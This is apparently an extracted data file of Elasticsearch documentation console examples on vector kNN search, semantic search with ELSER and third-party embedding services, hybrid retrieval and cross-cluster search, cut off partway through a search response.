{"source_location":{"file":"search/search-your-data/knn-search.asciidoc","line":229},"digest":"55f0fec6342f677af74de2124b801aa2","lang":"console","found":["ruby"],"source":"POST byte-image-index/_search\n{\n \"knn\": {\n \"field\": \"byte-image-vector\",\n \"query_vector\": [-5, 9],\n \"k\": 10,\n \"num_candidates\": 100\n },\n \"fields\": [ \"title\" ]\n}"}, {"source_location":{"file":"search/search-your-data/knn-search.asciidoc","line":250},"digest":"856c10ad554c26b70f1121454caff40a","lang":"console","found":[],"source":"POST byte-image-index/_search\n{\n \"knn\": {\n \"field\": \"byte-image-vector\",\n \"query_vector\": \"fb09\",\n \"k\": 10,\n \"num_candidates\": 100\n },\n \"fields\": [ \"title\" ]\n}"}, {"source_location":{"file":"search/search-your-data/knn-search.asciidoc","line":280},"digest":"f4ae3f3fbf07a7d39122ac5ac20b9c03","lang":"console","found":["ruby"],"source":"PUT quantized-image-index\n{\n \"mappings\": {\n \"properties\": {\n \"image-vector\": {\n \"type\": \"dense_vector\",\n \"element_type\": \"float\",\n \"dims\": 2,\n \"index\": true,\n \"index_options\": {\n \"type\": \"int8_hnsw\"\n }\n },\n \"title\": {\n \"type\": \"text\"\n }\n }\n }\n}"}, {"source_location":{"file":"search/search-your-data/knn-search.asciidoc","line":306},"digest":"94cd66bf93f99881c1bda547283a0357","lang":"console","found":["ruby"],"source":"POST quantized-image-index/_bulk?refresh=true\n{ \"index\": { \"_id\": \"1\" } }\n{ \"image-vector\": [0.1, -2], \"title\": \"moose family\" }\n{ \"index\": { \"_id\": \"2\" } }\n{ \"image-vector\": [0.75, -1], \"title\": \"alpine lake\" }\n{ \"index\": { \"_id\": \"3\" } }\n{ \"image-vector\": [1.2, 0.1], \"title\": \"full moon\" }"}, {"source_location":{"file":"search/search-your-data/knn-search.asciidoc","line":321},"digest":"c5cc19e48549fbc5327a9d46874bbeee","lang":"console","found":["ruby"],"source":"POST quantized-image-index/_search\n{\n \"knn\": {\n \"field\": \"image-vector\",\n \"query_vector\": [0.1, -2],\n \"k\": 10,\n \"num_candidates\": 100\n },\n \"fields\": [ \"title\" ]\n}"}, {"source_location":{"file":"search/search-your-data/knn-search.asciidoc","line":342},"digest":"3a3adae6dbb2c0316a7d98d0a6c1d4f8","lang":"console","found":["ruby"],"source":"POST quantized-image-index/_search\n{\n \"knn\": {\n \"field\": \"image-vector\",\n \"query_vector\": [0.1, -2],\n \"k\": 15,\n \"num_candidates\": 100\n },\n \"fields\": [ \"title\" ],\n \"rescore\": {\n \"window_size\": 10,\n \"query\": {\n \"rescore_query\": {\n \"script_score\": {\n \"query\": {\n \"match_all\": {}\n },\n \"script\": {\n \"source\": \"cosineSimilarity(params.query_vector, 'image-vector') + 1.0\",\n \"params\": {\n \"query_vector\": [0.1, -2]\n }\n }\n }\n }\n }\n }\n}"}, {"source_location":{"file":"search/search-your-data/knn-search.asciidoc","line":387},"digest":"621f4553e24592d40c8cdbbdfaeb027e","lang":"console","found":["ruby"],"source":"POST image-index/_search\n{\n \"knn\": {\n \"field\": \"image-vector\",\n \"query_vector\": [54, 10, -2],\n \"k\": 5,\n \"num_candidates\": 50,\n \"filter\": {\n \"term\": {\n \"file-type\": \"png\"\n }\n }\n },\n \"fields\": [\"title\"],\n \"_source\": false\n}"}, {"source_location":{"file":"search/search-your-data/knn-search.asciidoc","line":420},"digest":"c6abe91b5527870face2b826f37ba1da","lang":"console","found":["ruby"],"source":"POST image-index/_search\n{\n \"query\": {\n \"match\": {\n \"title\": {\n \"query\": \"mountain lake\",\n \"boost\": 0.9\n }\n }\n },\n \"knn\": {\n \"field\": \"image-vector\",\n \"query_vector\": [54, 10, -2],\n \"k\": 5,\n \"num_candidates\": 50,\n \"boost\": 0.1\n },\n \"size\": 10\n}"}, {"source_location":{"file":"search/search-your-data/knn-search.asciidoc","line":530},"digest":"7021ddb273a3a00847324d2f670c4c04","lang":"console","found":["ruby"],"source":"POST image-index/_search\n{\n \"query\": {\n \"match\": {\n \"title\": {\n \"query\": \"mountain lake\",\n \"boost\": 0.9\n }\n }\n },\n \"knn\": [ {\n \"field\": \"image-vector\",\n \"query_vector\": [54, 10, -2],\n \"k\": 5,\n \"num_candidates\": 50,\n \"boost\": 0.1\n },\n {\n \"field\": \"title-vector\",\n \"query_vector\": [1, 20, -52, 23, 10],\n \"k\": 10,\n \"num_candidates\": 10,\n \"boost\": 0.5\n }],\n \"size\": 10\n}"}, {"source_location":{"file":"search/search-your-data/knn-search.asciidoc","line":605},"digest":"2bc57cd3f32b59b0b44ca63b19cdfcc0","lang":"console","found":["ruby"],"source":"POST image-index/_search\n{\n \"knn\": {\n \"field\": \"image-vector\",\n \"query_vector\": [1, 5, -20],\n \"k\": 5,\n \"num_candidates\": 50,\n \"similarity\": 36,\n \"filter\": {\n \"term\": {\n \"file-type\": \"png\"\n }\n }\n },\n \"fields\": [\"title\"],\n \"_source\": false\n}"}, {"source_location":{"file":"search/search-your-data/knn-search.asciidoc","line":641},"digest":"186a7143d50e8c3ee01094e1a9ff0c0c","lang":"console","found":[],"source":"PUT passage_vectors\n{\n \"mappings\": {\n \"properties\": {\n \"full_text\": {\n \"type\": \"text\"\n },\n \"creation_time\": {\n \"type\": \"date\"\n },\n \"paragraph\": {\n \"type\": \"nested\",\n \"properties\": {\n \"vector\": {\n \"type\": \"dense_vector\",\n \"dims\": 2,\n \"index_options\": {\n \"type\": \"hnsw\"\n }\n },\n \"text\": {\n \"type\": \"text\",\n \"index\": false\n }\n }\n }\n }\n }\n}"}, {"source_location":{"file":"search/search-your-data/knn-search.asciidoc","line":677},"digest":"2009f2d1ba0780a799a0fdce889c9739","lang":"console","found":["ruby"],"source":"POST passage_vectors/_bulk?refresh=true\n{ \"index\": { \"_id\": \"1\" } }\n{ \"full_text\": \"first paragraph another paragraph\", \"creation_time\": \"2019-05-04\", \"paragraph\": [ { \"vector\": [ 0.45, 45 ], \"text\": \"first paragraph\", \"paragraph_id\": \"1\" }, { \"vector\": [ 0.8, 0.6 ], \"text\": \"another paragraph\", \"paragraph_id\": \"2\" } ] }\n{ \"index\": { \"_id\": \"2\" } }\n{ \"full_text\": \"number one paragraph number two paragraph\", \"creation_time\": \"2020-05-04\", \"paragraph\": [ { \"vector\": [ 1.2, 4.5 ], \"text\": \"number one paragraph\", \"paragraph_id\": \"1\" }, { \"vector\": [ -1, 42 ], \"text\": \"number two paragraph\", \"paragraph_id\": \"2\" } ] }"}, {"source_location":{"file":"search/search-your-data/knn-search.asciidoc","line":689},"digest":"1d746272a7511bf91302a15b5c58ca0e","lang":"console","found":["ruby"],"source":"POST passage_vectors/_search\n{\n \"fields\": [\"full_text\", \"creation_time\"],\n \"_source\": false,\n \"knn\": {\n \"query_vector\": [\n 0.45,\n 45\n ],\n \"field\": \"paragraph.vector\",\n \"k\": 2,\n \"num_candidates\": 2\n }\n}"}, {"source_location":{"file":"search/search-your-data/knn-search.asciidoc","line":712},"digest":"bc2c4a47c4c8927d0cdeb925b2fdb767","lang":"console-result","found":[],"source":"{\n \"took\": 4,\n \"timed_out\": false,\n \"_shards\": {\n \"total\": 1,\n \"successful\": 1,\n \"skipped\": 0,\n \"failed\": 0\n },\n \"hits\": {\n \"total\": {\n \"value\": 2,\n \"relation\": \"eq\"\n },\n \"max_score\": 1.0,\n \"hits\": [\n {\n \"_index\": \"passage_vectors\",\n \"_id\": \"1\",\n \"_score\": 1.0,\n \"fields\": {\n \"creation_time\": [\n \"2019-05-04T00:00:00.000Z\"\n ],\n \"full_text\": [\n \"first paragraph another paragraph\"\n ]\n }\n },\n {\n \"_index\": \"passage_vectors\",\n \"_id\": \"2\",\n \"_score\": 0.9997144,\n \"fields\": {\n \"creation_time\": [\n \"2020-05-04T00:00:00.000Z\"\n ],\n \"full_text\": [\n \"number one paragraph number two paragraph\"\n ]\n }\n }\n ]\n }\n}"}, {"source_location":{"file":"search/search-your-data/knn-search.asciidoc","line":769},"digest":"20407c847adb8393ce41dc656384afc4","lang":"console","found":["ruby"],"source":"POST passage_vectors/_search\n{\n \"fields\": [\n \"creation_time\",\n \"full_text\"\n ],\n \"_source\": false,\n \"knn\": {\n \"query_vector\": [\n 0.45,\n 45\n ],\n \"field\": \"paragraph.vector\",\n \"k\": 2,\n \"num_candidates\": 2,\n \"filter\": {\n \"bool\": {\n \"filter\": [\n {\n \"range\": {\n \"creation_time\": {\n \"gte\": \"2019-05-01\",\n \"lte\": \"2019-05-05\"\n }\n }\n }\n ]\n }\n }\n }\n}"}, {"source_location":{"file":"search/search-your-data/knn-search.asciidoc","line":807},"digest":"86d36759a598029396658a8408cb4290","lang":"console-result","found":[],"source":"{\n \"took\": 4,\n \"timed_out\": false,\n \"_shards\": {\n \"total\": 1,\n \"successful\": 1,\n \"skipped\": 0,\n \"failed\": 0\n },\n \"hits\": {\n \"total\": {\n \"value\": 1,\n \"relation\": \"eq\"\n },\n \"max_score\": 1.0,\n \"hits\": [\n {\n \"_index\": \"passage_vectors\",\n \"_id\": \"1\",\n \"_score\": 1.0,\n \"fields\": {\n \"creation_time\": [\n \"2019-05-04T00:00:00.000Z\"\n ],\n \"full_text\": [\n \"first paragraph another paragraph\"\n ]\n }\n }\n ]\n }\n}"}, {"source_location":{"file":"search/search-your-data/knn-search.asciidoc","line":854},"digest":"908326e14ad76c2ff04a9b6d8365751f","lang":"console","found":[],"source":"POST passage_vectors/_search\n{\n \"fields\": [\n \"creation_time\",\n \"full_text\"\n ],\n \"_source\": false,\n \"knn\": {\n \"query_vector\": [\n 0.45,\n 45\n ],\n \"field\": \"paragraph.vector\",\n \"k\": 2,\n \"num_candidates\": 2,\n \"inner_hits\": {\n \"_source\": false,\n \"fields\": [\n \"paragraph.text\"\n ],\n \"size\": 1\n }\n }\n}"}, {"source_location":{"file":"search/search-your-data/knn-search.asciidoc","line":885},"digest":"ec8d86c912b4ec121266603911ceaee2","lang":"console-result","found":[],"source":"{\n \"took\": 4,\n \"timed_out\": false,\n \"_shards\": {\n \"total\": 1,\n \"successful\": 1,\n \"skipped\": 0,\n \"failed\": 0\n },\n \"hits\": {\n \"total\": {\n \"value\": 2,\n \"relation\": \"eq\"\n },\n \"max_score\": 1.0,\n \"hits\": [\n {\n \"_index\": \"passage_vectors\",\n \"_id\": \"1\",\n \"_score\": 1.0,\n \"fields\": {\n \"creation_time\": [\n \"2019-05-04T00:00:00.000Z\"\n ],\n \"full_text\": [\n \"first paragraph another paragraph\"\n ]\n },\n \"inner_hits\": {\n \"paragraph\": {\n \"hits\": {\n \"total\": {\n \"value\": 2,\n \"relation\": \"eq\"\n },\n \"max_score\": 1.0,\n \"hits\": [\n {\n \"_index\": \"passage_vectors\",\n \"_id\": \"1\",\n \"_nested\": {\n \"field\": \"paragraph\",\n \"offset\": 0\n },\n \"_score\": 1.0,\n \"fields\": {\n \"paragraph\": [\n {\n \"text\": [\n \"first paragraph\"\n ]\n }\n ]\n }\n }\n ]\n }\n }\n }\n },\n {\n \"_index\": \"passage_vectors\",\n \"_id\": \"2\",\n \"_score\": 0.9997144,\n \"fields\": {\n \"creation_time\": [\n \"2020-05-04T00:00:00.000Z\"\n ],\n \"full_text\": [\n \"number one paragraph number two paragraph\"\n ]\n },\n \"inner_hits\": {\n \"paragraph\": {\n \"hits\": {\n \"total\": {\n \"value\": 2,\n \"relation\": \"eq\"\n },\n \"max_score\": 0.9997144,\n \"hits\": [\n {\n \"_index\": \"passage_vectors\",\n \"_id\": \"2\",\n \"_nested\": {\n \"field\": \"paragraph\",\n \"offset\": 1\n },\n \"_score\": 0.9997144,\n \"fields\": {\n \"paragraph\": [\n {\n \"text\": [\n \"number two paragraph\"\n ]\n }\n ]\n }\n }\n ]\n }\n }\n }\n }\n ]\n }\n}"}, {"source_location":{"file":"search/search-your-data/knn-search.asciidoc","line":1016},"digest":"d49318764244113ad2ac4cc0f06d77ec","lang":"console","found":["ruby"],"source":"PUT image-index\n{\n \"mappings\": {\n \"properties\": {\n \"image-vector\": {\n \"type\": \"dense_vector\",\n \"dims\": 3,\n \"similarity\": \"l2_norm\",\n \"index_options\": {\n \"type\": \"hnsw\",\n \"m\": 32,\n \"ef_construction\": 100\n }\n }\n }\n }\n}"}, {"source_location":{"file":"search/search-your-data/knn-search.asciidoc","line":1062},"digest":"ea68e3428cc2ca3455bf312d09451489","lang":"console","found":["ruby"],"source":"PUT product-index\n{\n \"mappings\": {\n \"properties\": {\n \"product-vector\": {\n \"type\": \"dense_vector\",\n \"dims\": 5,\n \"index\": false\n },\n \"price\": {\n \"type\": \"long\"\n }\n }\n }\n}"}, {"source_location":{"file":"search/search-your-data/knn-search.asciidoc","line":1083},"digest":"ba70b92f745a1765f1eb62e3457a86c3","lang":"console","found":[],"source":"POST product-index/_bulk?refresh=true\n{ \"index\": { \"_id\": \"1\" } }\n{ \"product-vector\": [230.0, 300.33, -34.8988, 15.555, -200.0], \"price\": 1599 }\n{ \"index\": { \"_id\": \"2\" } }\n{ \"product-vector\": [-0.5, 100.0, -13.0, 14.8, -156.0], \"price\": 799 }\n{ \"index\": { \"_id\": \"3\" } }\n{ \"product-vector\": [0.5, 111.3, -13.0, 14.8, -156.0], \"price\": 1099 }\n..."}, {"source_location":{"file":"search/search-your-data/knn-search.asciidoc","line":1106},"digest":"9ab351893dae65ec97fd8cb6832950fb","lang":"console","found":["ruby"],"source":"POST product-index/_search\n{\n \"query\": {\n \"script_score\": {\n \"query\" : {\n \"bool\" : {\n \"filter\" : {\n \"range\" : {\n \"price\" : {\n \"gte\": 1000\n }\n }\n }\n }\n },\n \"script\": {\n \"source\": \"cosineSimilarity(params.queryVector, 'product-vector') + 1.0\",\n \"params\": {\n \"queryVector\": [-0.5, 90.0, -10, 14.8, -156.0]\n }\n }\n }\n }\n}"}, {"source_location":{"file":"tab-widgets/semantic-search/field-mappings.asciidoc","line":15},"digest":"31a79a57b242713edec6795599ba0d5d","lang":"console","found":["ruby"],"source":"PUT my-index\n{\n \"mappings\": {\n \"properties\": {\n \"my_tokens\": { <1>\n \"type\": \"sparse_vector\" <2>\n },\n \"my_text_field\": { <3>\n \"type\": \"text\" <4>\n }\n }\n }\n}"}, {"source_location":{"file":"tab-widgets/semantic-search/field-mappings.asciidoc","line":59},"digest":"a6b2815d54df34b6b8d00226e9a1af0c","lang":"console","found":["ruby"],"source":"PUT my-index\n{\n \"mappings\": {\n \"properties\": {\n \"my_embeddings.predicted_value\": { <1>\n \"type\": \"dense_vector\", <2>\n \"dims\": 384 <3>\n },\n \"my_text_field\": { <4>\n \"type\": \"text\" <5>\n }\n }\n }\n}"}, {"source_location":{"file":"tab-widgets/semantic-search/generate-embeddings.asciidoc","line":17},"digest":"8d064eda2199de52e5be9ee68a5b7c68","lang":"console","found":["ruby"],"source":"PUT _ingest/pipeline/my-text-embeddings-pipeline\n{\n \"description\": \"Text embedding pipeline\",\n \"processors\": [\n {\n \"inference\": {\n \"model_id\": \".elser_model_2\",\n \"input_output\": [ <1>\n {\n \"input_field\": \"my_text_field\",\n \"output_field\": \"my_tokens\"\n }\n ]\n }\n }\n ]\n}"}, {"source_location":{"file":"tab-widgets/semantic-search/generate-embeddings.asciidoc","line":54},"digest":"256eba7a77c8890a43afeda8ce8a3225","lang":"console","found":["ruby"],"source":"PUT _ingest/pipeline/my-text-embeddings-pipeline\n{\n \"description\": \"Text embedding pipeline\",\n \"processors\": [\n {\n \"inference\": {\n \"model_id\": \"sentence-transformers__msmarco-minilm-l-12-v3\", <1>\n \"target_field\": \"my_embeddings\",\n \"field_map\": { <2>\n \"my_text_field\": \"text_field\"\n }\n }\n }\n ]\n}"}, {"source_location":{"file":"tab-widgets/semantic-search/search.asciidoc","line":9},"digest":"34c5cd33ba371fb79a793baf9f6e9fad","lang":"console","found":["ruby"],"source":"GET my-index/_search\n{\n \"query\":{\n \"text_expansion\":{\n \"my_tokens\":{ <1>\n \"model_id\":\".elser_model_2\",\n \"model_text\":\"the query string\"\n }\n }\n }\n}"}, {"source_location":{"file":"tab-widgets/semantic-search/search.asciidoc","line":36},"digest":"d952ac7c73219d8cabc080679e035514","lang":"console","found":["ruby"],"source":"GET my-index/_search\n{\n \"knn\": {\n \"field\": \"my_embeddings.predicted_value\",\n \"k\": 10,\n \"num_candidates\": 100,\n \"query_vector_builder\": {\n \"text_embedding\": {\n \"model_id\": \"sentence-transformers__msmarco-minilm-l-12-v3\",\n \"model_text\": \"the query string\"\n }\n }\n }\n}"}, {"source_location":{"file":"tab-widgets/semantic-search/hybrid-search.asciidoc","line":10},"digest":"c38d25cc5b2d4b19c5e8bbe0a86efbeb","lang":"console","found":[],"source":"GET my-index/_search\n{\n \"retriever\": {\n \"rrf\": {\n \"retrievers\": [\n {\n \"standard\": {\n \"query\": {\n \"match\": {\n \"my_text_field\": \"the query string\"\n }\n }\n }\n },\n {\n \"standard\": {\n \"query\": {\n \"text_expansion\": {\n \"my_tokens\": {\n \"model_id\": \".elser_model_2\",\n \"model_text\": \"the query string\"\n }\n }\n }\n }\n }\n ]\n }\n }\n}"}, {"source_location":{"file":"tab-widgets/semantic-search/hybrid-search.asciidoc","line":56},"digest":"fdf7cfdf1c92d21ee710675596eac6fd","lang":"console","found":[],"source":"GET my-index/_search\n{\n \"retriever\": {\n \"rrf\": {\n \"retrievers\": [\n {\n \"standard\": {\n \"query\": {\n \"match\": {\n \"my_text_field\": \"the query string\"\n }\n }\n }\n },\n {\n \"knn\": {\n \"field\": \"text_embedding.predicted_value\",\n \"k\": 10,\n \"num_candidates\": 100,\n \"query_vector_builder\": {\n \"text_embedding\": {\n \"model_id\": \"sentence-transformers__msmarco-minilm-l-12-v3\",\n \"model_text\": \"the query string\"\n }\n }\n }\n }\n ]\n }\n }\n}"}, {"source_location":{"file":"search/search-your-data/semantic-search-elser.asciidoc","line":59},"digest":"a2bd0782aadfd0a902d7f590ee7f49fe","lang":"console","found":["ruby"],"source":"PUT my-index\n{\n \"mappings\": {\n \"properties\": {\n \"content_embedding\": { <1>\n \"type\": \"sparse_vector\" <2>\n },\n \"content\": { <3>\n \"type\": \"text\" <4>\n }\n }\n }\n}"}, {"source_location":{"file":"search/search-your-data/semantic-search-elser.asciidoc","line":95},"digest":"d003ee256d24aa6000bd9dbf1d608dc5","lang":"console","found":["ruby"],"source":"PUT _ingest/pipeline/elser-v2-test\n{\n \"processors\": [\n {\n \"inference\": {\n \"model_id\": \".elser_model_2\",\n \"input_output\": [ <1>\n {\n \"input_field\": \"content\",\n \"output_field\": \"content_embedding\"\n }\n ]\n }\n }\n ]\n}"}, {"source_location":{"file":"search/search-your-data/semantic-search-elser.asciidoc","line":158},"digest":"bf17440ac178d2ef5f5be643d033920b","lang":"console","found":["ruby"],"source":"POST _reindex?wait_for_completion=false\n{\n \"source\": {\n \"index\": \"test-data\",\n \"size\": 50 <1>\n },\n \"dest\": {\n \"index\": \"my-index\",\n \"pipeline\": \"elser-v2-test\"\n }\n}"}, {"source_location":{"file":"search/search-your-data/semantic-search-elser.asciidoc","line":179},"digest":"8a1b6eae4893c5dd27b3d81fd8d70f5b","lang":"console","found":[],"source":"GET _tasks/"}, {"source_location":{"file":"search/search-your-data/semantic-search-elser.asciidoc","line":198},"digest":"f4e38856cd6a7531e8fa8df4abe0e1c4","lang":"console","found":["ruby"],"source":"GET my-index/_search\n{\n \"query\":{\n \"text_expansion\":{\n \"content_embedding\":{\n \"model_id\":\".elser_model_2\",\n \"model_text\":\"How to avoid muscle soreness after running?\"\n }\n }\n }\n}"}, {"source_location":{"file":"search/search-your-data/semantic-search-elser.asciidoc","line":279},"digest":"e04c55476de6e785a066d3b43f66d20d","lang":"console","found":["ruby"],"source":"GET my-index/_search\n{\n \"query\": {\n \"bool\": { <1>\n \"should\": [\n {\n \"text_expansion\": {\n \"content_embedding\": {\n \"model_text\": \"How to avoid muscle soreness after running?\",\n \"model_id\": \".elser_model_2\",\n \"boost\": 1 <2>\n }\n }\n },\n {\n \"query_string\": {\n \"query\": \"toxins\",\n \"boost\": 4 <3>\n }\n }\n ]\n }\n },\n \"min_score\": 10 <4>\n}"}, {"source_location":{"file":"search/search-your-data/semantic-search-elser.asciidoc","line":346},"digest":"fc1907515f6a913884a9f86451e90ee8","lang":"console","found":["ruby"],"source":"PUT my-index\n{\n \"mappings\": {\n \"_source\": {\n \"excludes\": [\n \"content_embedding\"\n ]\n },\n \"properties\": {\n \"content_embedding\": {\n \"type\": \"sparse_vector\"\n },\n \"content\": {\n \"type\": \"text\"\n }\n }\n }\n}"}, {"source_location":{"file":"tab-widgets/inference-api/infer-api-task.asciidoc","line":4},"digest":"d7b61bfb6adb22986a43388b823894cc","lang":"console","found":[],"source":"PUT _inference/text_embedding/cohere_embeddings <1>\n{\n \"service\": \"cohere\",\n \"service_settings\": {\n \"api_key\": \"\", <2>\n \"model_id\": \"embed-english-v3.0\", <3>\n \"embedding_type\": \"byte\"\n }\n}"}, {"source_location":{"file":"tab-widgets/inference-api/infer-api-task.asciidoc","line":46},"digest":"a4ee2214d621bcfaf768c46d21325958","lang":"console","found":[],"source":"PUT _inference/text_embedding/hugging_face_embeddings <1>\n{\n \"service\": \"hugging_face\",\n \"service_settings\": {\n \"api_key\": \"\", <2>\n \"url\": \"\" <3>\n }\n}"}, {"source_location":{"file":"tab-widgets/inference-api/infer-api-task.asciidoc","line":69},"digest":"1a56df055b94466ca76818e0858752c6","lang":"console","found":[],"source":"PUT _inference/text_embedding/openai_embeddings <1>\n{\n \"service\": \"openai\",\n \"service_settings\": {\n \"api_key\": \"\", <2>\n \"model_id\": \"text-embedding-ada-002\" <3>\n }\n}"}, {"source_location":{"file":"tab-widgets/inference-api/infer-api-mapping.asciidoc","line":4},"digest":"8c619666488927dac6ecb7dcebca44c2","lang":"console","found":[],"source":"PUT cohere-embeddings\n{\n \"mappings\": {\n \"properties\": {\n \"content_embedding\": { <1>\n \"type\": \"dense_vector\", <2>\n \"dims\": 1024, <3>\n \"element_type\": \"byte\"\n },\n \"content\": { <4>\n \"type\": \"text\" <5>\n }\n }\n }\n}"}, {"source_location":{"file":"tab-widgets/inference-api/infer-api-mapping.asciidoc","line":37},"digest":"cd16538654e0f834ff19fe6cf329c398","lang":"console","found":[],"source":"PUT hugging-face-embeddings\n{\n \"mappings\": {\n \"properties\": {\n \"content_embedding\": { <1>\n \"type\": \"dense_vector\", <2>\n \"dims\": 768, <3>\n \"element_type\": \"float\"\n },\n \"content\": { <4>\n \"type\": \"text\" <5>\n }\n }\n }\n}"}, {"source_location":{"file":"tab-widgets/inference-api/infer-api-mapping.asciidoc","line":69},"digest":"e930a572e8ddfdecc13498c04007b9e3","lang":"console","found":[],"source":"PUT openai-embeddings\n{\n \"mappings\": {\n \"properties\": {\n \"content_embedding\": { <1>\n \"type\": \"dense_vector\", <2>\n \"dims\": 1536, <3>\n \"element_type\": \"float\",\n \"similarity\": \"dot_product\" <4>\n },\n \"content\": { <5>\n \"type\": \"text\" <6>\n }\n }\n }\n}"}, {"source_location":{"file":"tab-widgets/inference-api/infer-api-ingest-pipeline.asciidoc","line":15},"digest":"3a7a6ab88a49b484fafb10c8eb09b562","lang":"console","found":[],"source":"PUT _ingest/pipeline/cohere_embeddings\n{\n \"processors\": [\n {\n \"inference\": {\n \"model_id\": \"cohere_embeddings\", <1>\n \"input_output\": { <2>\n \"input_field\": \"content\",\n \"output_field\": \"content_embedding\"\n }\n }\n }\n ]\n}"}, {"source_location":{"file":"tab-widgets/inference-api/infer-api-ingest-pipeline.asciidoc","line":41},"digest":"be30ea12f605fd61acba689b68e00bbe","lang":"console","found":[],"source":"PUT _ingest/pipeline/hugging_face_embeddings\n{\n \"processors\": [\n {\n \"inference\": {\n \"model_id\": \"hugging_face_embeddings\", <1>\n \"input_output\": { <2>\n \"input_field\": \"content\",\n \"output_field\": \"content_embedding\"\n }\n }\n }\n ]\n}"}, {"source_location":{"file":"tab-widgets/inference-api/infer-api-ingest-pipeline.asciidoc","line":67},"digest":"a53ff77d83222c0e76453e630d64787e","lang":"console","found":["ruby"],"source":"PUT _ingest/pipeline/openai_embeddings\n{\n \"processors\": [\n {\n \"inference\": {\n \"model_id\": \"openai_embeddings\", <1>\n \"input_output\": { <2>\n \"input_field\": \"content\",\n \"output_field\": \"content_embedding\"\n }\n }\n }\n ]\n}"}, {"source_location":{"file":"tab-widgets/inference-api/infer-api-reindex.asciidoc","line":4},"digest":"84490ee2c6c07dbd2101ce2e3751e1aa","lang":"console","found":[],"source":"POST _reindex?wait_for_completion=false\n{\n \"source\": {\n \"index\": \"test-data\",\n \"size\": 50 <1>\n },\n \"dest\": {\n \"index\": \"cohere-embeddings\",\n \"pipeline\": \"cohere_embeddings\"\n }\n}"}, {"source_location":{"file":"tab-widgets/inference-api/infer-api-reindex.asciidoc","line":31},"digest":"b468d0124dc485385a34504d5b7af82a","lang":"console","found":[],"source":"POST _reindex?wait_for_completion=false\n{\n \"source\": {\n \"index\": \"test-data\",\n \"size\": 50 <1>\n },\n \"dest\": {\n \"index\": \"hugging-face-embeddings\",\n \"pipeline\": \"hugging_face_embeddings\"\n }\n}"}, {"source_location":{"file":"tab-widgets/inference-api/infer-api-reindex.asciidoc","line":55},"digest":"65e892a362d940e4a74965f21c15ca09","lang":"console","found":["ruby"],"source":"POST _reindex?wait_for_completion=false\n{\n \"source\": {\n \"index\": \"test-data\",\n \"size\": 50 <1>\n },\n \"dest\": {\n \"index\": \"openai-embeddings\",\n \"pipeline\": \"openai_embeddings\"\n }\n}"}, {"source_location":{"file":"search/search-your-data/semantic-search-inference.asciidoc","line":90},"digest":"8a1b6eae4893c5dd27b3d81fd8d70f5b","lang":"console","found":[],"source":"GET _tasks/"}, {"source_location":{"file":"search/search-your-data/semantic-search-inference.asciidoc","line":99},"digest":"b0fe9a7c8e519995258786be4bef36c4","lang":"console","found":[],"source":"POST _tasks//_cancel"}, {"source_location":{"file":"tab-widgets/inference-api/infer-api-search.asciidoc","line":4},"digest":"b4693f2aa9fa65db04ab2499355c54fc","lang":"console","found":[],"source":"GET cohere-embeddings/_search\n{\n \"knn\": {\n \"field\": \"content_embedding\",\n \"query_vector_builder\": {\n \"text_embedding\": {\n \"model_id\": \"cohere_embeddings\",\n \"model_text\": \"Muscles in human body\"\n }\n },\n \"k\": 10,\n \"num_candidates\": 100\n },\n \"_source\": [\n \"id\",\n \"content\"\n ]\n}"}, {"source_location":{"file":"tab-widgets/inference-api/infer-api-search.asciidoc","line":78},"digest":"93cd0fdd5ca22838db06aa1cabdbe8bd","lang":"console","found":[],"source":"GET hugging-face-embeddings/_search\n{\n \"knn\": {\n \"field\": \"content_embedding\",\n \"query_vector_builder\": {\n \"text_embedding\": {\n \"model_id\": \"hugging_face_embeddings\",\n \"model_text\": \"What's margin of error?\"\n }\n },\n \"k\": 10,\n \"num_candidates\": 100\n },\n \"_source\": [\n \"id\",\n \"content\"\n ]\n}"}, {"source_location":{"file":"tab-widgets/inference-api/infer-api-search.asciidoc","line":152},"digest":"34d63740b58209a3d031212909743925","lang":"console","found":["ruby"],"source":"GET openai-embeddings/_search\n{\n \"knn\": {\n \"field\": \"content_embedding\",\n \"query_vector_builder\": {\n \"text_embedding\": {\n \"model_id\": \"openai_embeddings\",\n \"model_text\": \"Calculate fuel cost\"\n }\n },\n \"k\": 10,\n \"num_candidates\": 100\n },\n \"_source\": [\n \"id\",\n \"content\"\n ]\n}"}, {"source_location":{"file":"search/search-your-data/learning-to-rank-search-usage.asciidoc","line":19},"digest":"e551ea38a2d8f8deac110b33304200cc","lang":"console","found":[],"source":"GET my-index/_search\n{\n \"query\": { <1>\n \"multi_match\": {\n \"fields\": [\"title\", \"content\"],\n \"query\": \"the quick brown fox\"\n }\n },\n \"rescore\": {\n \"learning_to_rank\": {\n \"model_id\": \"ltr-model\", <2>\n \"params\": { <3>\n \"query_text\": \"the quick brown fox\"\n }\n },\n \"window_size\": 100 <4>\n }\n}"}, {"source_location":{"file":"search/search-your-data/search-across-clusters.asciidoc","line":79},"digest":"72a3668ddc95d9aec47cc679d1e7afc5","lang":"console","found":["ruby"],"source":"PUT _cluster/settings\n{\n \"persistent\": {\n \"cluster\": {\n \"remote\": {\n \"cluster_one\": {\n \"seeds\": [\n \"35.238.149.1:9300\"\n ],\n \"skip_unavailable\": true\n },\n \"cluster_two\": {\n \"seeds\": [\n \"35.238.149.2:9300\"\n ],\n \"skip_unavailable\": false\n },\n \"cluster_three\": { <1>\n \"seeds\": [\n \"35.238.149.3:9300\"\n ]\n }\n }\n }\n }\n}"}, {"source_location":{"file":"search/search-your-data/search-across-clusters.asciidoc","line":127},"digest":"e4de6035653e8202c43631f02d244661","lang":"console","found":["ruby"],"source":"GET /cluster_one:my-index-000001/_search\n{\n \"size\": 1,\n \"query\": {\n \"match\": {\n \"user.id\": \"kimchy\"\n }\n },\n \"_source\": [\"user.id\", \"message\", \"http.response.status_code\"]\n}"}, {"source_location":{"file":"search/search-your-data/search-across-clusters.asciidoc","line":147},"digest":"5388f0632fc39d050f64d4eb66f74f93","lang":"console-result","found":[],"source":"{\n \"took\": 150,\n \"timed_out\": false,\n \"_shards\": {\n \"total\": 12,\n \"successful\": 12,\n \"failed\": 0,\n \"skipped\": 0\n },\n \"_clusters\": {\n \"total\": 1, <1>\n \"successful\": 1,\n \"skipped\": 0,\n \"running\": 0,\n \"partial\": 0,\n \"failed\": 0,\n \"details\": {\n \"cluster_one\": { <2>\n \"status\": \"successful\",\n \"indices\": \"my-index-000001\", <3>\n \"took\": 148, <4>\n \"timed_out\": false,\n \"_shards\": { <5>\n \"total\": 12,\n \"successful\": 12,\n \"skipped\": 0,\n \"failed\": 0\n }\n }\n }\n },\n \"hits\": {\n \"total\" : {\n \"value\": 1,\n \"relation\": \"eq\"\n },\n \"max_score\": 